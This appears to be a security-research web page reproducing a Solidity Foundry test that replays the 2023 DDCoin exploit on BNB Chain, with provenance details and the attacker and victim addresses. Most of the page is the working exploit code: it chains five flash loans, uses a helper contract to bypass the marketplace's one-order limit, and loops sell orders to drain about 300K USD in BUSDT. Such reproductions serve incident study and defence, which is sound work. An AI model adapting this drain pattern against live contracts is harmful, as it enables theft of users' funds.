Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/DDCoin_exp.sol

Public reproduction file for dataset entry DDCoin.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/DDCoin_exp.sol150 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~300K USD$
8// Attacker : https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be50612762
9// Attack Contract : https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21
10// Vulnerable Contract : https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8
11// Attack Tx : https://bscscan.com/tx/0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809
13// @Analysis
14// https://twitter.com/ImmuneBytes/status/1664239580210495489
15// https://twitter.com/ChainAegis/status/1664192344726581255?cxt=HHwWjsDRldmHs5guAAAA
17interface IMarketPlace {
18 struct SellListing {
19 uint256 itemId;
20 uint256 index;
21 uint256 price;
22 uint256 amount;
23 uint256 time;
24 address buyer;
25 address seller;
26 }
28 function currenyId() external view returns (uint256);
30 function inviteLimit(
31 address
32 ) external view returns (uint256);
34 function items(
35 uint256 id
36 )
37 external
38 view
39 returns (uint256 price, uint256 amount, uint256 totalAmount, uint256 index, uint256 time, address buyer);
41 function listItem(uint256 _amount, address invite) external returns (uint256);
43 function sellItem(
44 uint256 _amount
45 ) external returns (SellListing memory);
48contract DDTest is Test {
49 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
50 IERC20 DD = IERC20(0x50ab0D88045F540b8B79C8A7Dc25790dB493BBC5);
51 IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
52 IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
53 IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
54 IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
55 IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
56 IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);
57 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
58 address private constant addrToInvite = 0x693166710b501e3379Cf104e5AaA803aF6CbbF1A;
59 HelperContract OrdersPlacer;
60 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
62 function setUp() public {
63 cheats.createSelectFork("bsc", 28_714_107);
64 cheats.label(address(BUSDT), "BUSDT");
65 cheats.label(address(DD), "DD");
66 cheats.label(address(DPPOracle1), "DPPOracle1");
67 cheats.label(address(DPPOracle2), "DPPOracle2");
68 cheats.label(address(DPPOracle3), "DPPOracle3");
69 cheats.label(address(DPP), "DPP");
70 cheats.label(address(DPPAdvanced), "DPPAdvanced");
71 cheats.label(address(MarketPlace), "MarketPlace");
72 cheats.label(address(Router), "Router");
73 }
75 function testExploit() public {
76 deal(address(BUSDT), address(this), 0);
77 emit log_named_decimal_uint(
78 "BUSDT attacker balance before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
79 );
81 DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));
83 emit log_named_decimal_uint(
84 "BUSDT attacker balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
85 );
86 }
88 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
89 if (msg.sender == address(DPPOracle1)) {
90 DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));
91 } else if (msg.sender == address(DPPOracle2)) {
92 DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));
93 } else if (msg.sender == address(DPPOracle3)) {
94 DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));
95 } else if (msg.sender == address(DPP)) {
96 DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));
97 } else {
98 // Approvals
99 BUSDT.approve(address(MarketPlace), type(uint256).max);
100 BUSDT.approve(address(Router), type(uint256).max);
101 DD.approve(address(MarketPlace), type(uint256).max);
103 // Placing order
104 MarketPlace.listItem(500e18, addrToInvite);
106 // Bypassing order limit. Next order should be placed with helper contract because:
107 // MarketPlace: "Only one order can be placed within hours"
108 // Here I don't use create2 method like it was in the attack tx
109 OrdersPlacer = new HelperContract();
110 BUSDT.transfer(address(OrdersPlacer), 500e18);
111 // Using one contract to place the next order instead two (with delegatecall)
112 OrdersPlacer.placeOrder();
114 // Next part (for loop) may take some time...
115 // More iterations possible. I just wanted to prcisely stick to the final (stealed) BUSDT amount
116 for (uint256 i; i < 100; ++i) {
117 (,, uint256 totalAmount,,,) = MarketPlace.items(MarketPlace.currenyId());
119 swapBUSDTToDD(totalAmount / 20);
120 MarketPlace.sellItem(totalAmount);
121 BUSDT.transferFrom(
122 address(MarketPlace), address(this), BUSDT.allowance(address(MarketPlace), address(this))
123 );
124 }
125 }
127 BUSDT.transfer(msg.sender, quoteAmount);
128 }
130 function swapBUSDTToDD(
131 uint256 amountOut
132 ) internal {
133 address[] memory path = new address[](2);
134 path[0] = address(BUSDT);
135 path[1] = address(DD);
136 Router.swapTokensForExactTokens(
137 amountOut, BUSDT.balanceOf(address(this)), path, address(this), block.timestamp + 100
138 );
139 }
142contract HelperContract {
143 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
144 IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);
146 function placeOrder() external {
147 BUSDT.approve(address(MarketPlace), type(uint256).max);
148 MarketPlace.listItem(500e18, msg.sender);
149 }

Analysis

Dataset entry

Public Foundry test for “DDCoin” (2023-06-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0a3fee894eb8fcb6f84460d5828d71be50612762

  • Attack Contract

    0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21

  • Vulnerable Contract

    0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8

  • Attack Tx

    0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809

File record

Name
DDCoin
Path
src/test/2023-06/DDCoin_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9c0382648856cb5dacd4f89ba59c2f0019e0a951
Language
Solidity
Size
151 lines
Date
2023-06-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/DDCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c0382648856cb5dacd4f89ba59c2f0019e0a951, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.